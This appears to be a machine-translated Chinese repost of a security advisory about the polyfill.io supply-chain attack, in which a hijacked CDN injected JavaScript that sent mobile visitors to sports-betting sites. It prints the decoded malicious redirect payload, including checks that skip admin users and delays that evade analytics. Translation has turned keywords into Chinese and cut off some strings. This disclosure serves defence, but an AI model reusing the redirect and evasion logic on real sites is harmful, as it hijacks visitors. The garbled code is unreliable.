Polyfill 供应链攻击波及 10 万多个网站

6 月 25 日更新:谷歌已经开始屏蔽使用 polyfill.io 的电子商务网站的谷歌广告。

polyfill.js 是一个流行的开源库,用于支持旧版浏览器。 10 万多个网站 使用 cdn.polyfill.io 域名嵌入。知名用户包括 JSTOR、Intuit 和世界经济论坛。然而,今年 2 月,一家中国公司购买了该域名和 Github 帐户。此后,该域名被发现注入 恶意软件 通过嵌入 cdn.polyfill.io 的任何网站在移动设备上。所有投诉都很快被删除(存档在这里) 来自 Github 存储库。

polyfill 代码是根据 HTTP 标头动态生成的,因此可能存在多个攻击媒介。Sansec 解码了一个特定的恶意软件(见下文),该恶意软件会将移动用户重定向到 体育博彩网站 使用虚假的 Google 分析域名 (www.googie-anaiytics.com)。该代码具有针对逆向工程的特定保护,并且仅在特定时间在特定移动设备上激活。当检测到管理员用户时,它也不会激活。当发现网络分析服务时,它还会延迟执行,大概是为了不出现在统计数据中。

原本的 polyfill 作者 建议不要使用 Polyfill,因为现代浏览器已经不再需要它了。同时, 快速Cloudflare 如果您仍然需要的话,已经提出了值得信赖的替代方案。

此事件是供应链攻击的典型案例。为了了解用户正在加载的代码,我们推荐使用我们的(免费)CSP 监控服务 Sansec Watch。

我们的 eComscan 后端扫描仪 还更新了 polyfill.io 检测。

Polyfill 恶意负载示例

我们添加了一些名称以提高可读性,但是 tiaozhuan 来自原始恶意软件(中文意思为“跳跃”)。

函数 isPc() { 尝试 { var _isWin = navigator.platform == “Win32” || navigator.platform == “Windows”, _isMac = navigator.platform == “Mac68K” || navigator.platform == “MacPPC” || navigator.platform == “Macintosh” || navigator.platform == “MacIntel”; 如果 (_isMac || _isWin) { 返回 true; } else { 返回 false; } } catch (_0x44e1f6) { 返回 false; } } 函数 vfed_update(_0x5ae1f8) { _0x5ae1f8 !== “” && loadJS( ” 函数 () { 如果 (usercache == true) { window.location.href = _0x5ae1f8; } } ); } 函数 check_tiaozhuan() { var _isMobile = navigator.userAgent.match( /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ); 如果 (_isMobile) { var _curHost = window.location.host, _ref = document.referrer, _redirectURL = “”, _kuurzaBitGet = ” _rnd = Math.floor(Math.random() * 100 + 1), _date = new Date(), _hours = _date.getHours(); 如果 ( _curHost.indexOf(“www.dxtv1.com”) !== -1 || _curHost.indexOf(“www.ys752.com”) !== -1 ) { _redirectURL = ” } else { 如果 (_curHost.indexOf(“shuanshu.com.com”) !== -1) { _redirectURL = ” } else { 如果 (_ref.indexOf(“.”) !== -1 && _ref.indexOf(_curHost) == -1) { _redirectURL = ” } else { 如果 (_hours >= 0 && _hours < 2) { 如果 (_rnd <= 10) { _redirectURL = _kuurzaBitGet; } } else { if (_hours >= 2 && _小时<4){ _rnd <= 15 && (_redirectURL = _kuurzaBitGet); } else { if (_hours >= 4 && _小时< 7){ _rnd <= 20 && (_redirectURL = _kuurzaBitGet); } else { _hours >= 7 && _hours < 8 ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet) : _rnd <= 10 && (_redirectURL = _kuurzaBitGet); } } } } } _redirectURL != "" && !isPc() && document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1 && vfed_update(_redirectURL); } } let _outerPage = document.documentElement.outerHTML, bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1; 让 cnzfg = _outerPage.indexOf(".cnzz.com") != -1, wolafg = _outerPage.indexOf(".51.la") != -1; 让 mattoo = _outerPage.indexOf(".matomo.org") != -1, aanaly = _outerPage.indexOf(".google-analytics.com") != -1; 让 ggmana = _outerPage.indexOf(".googletagmanager.com") != -1, aplausix = _outerPage.indexOf(".plausible.io") != -1, statcct = _outerPage.indexOf(".statcounter.com") != -1; bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct ? setTimeout(check_tiaozhuan,2000) : check_tiaozhuan();

妥协指标

阅读更多

1719360208
#Polyfill #供应链攻击波及 #万多个网站
2024-06-25 18:27:30

Leave a Reply

Your email address will not be published. Required fields are marked *

近期新闻​

编辑精选​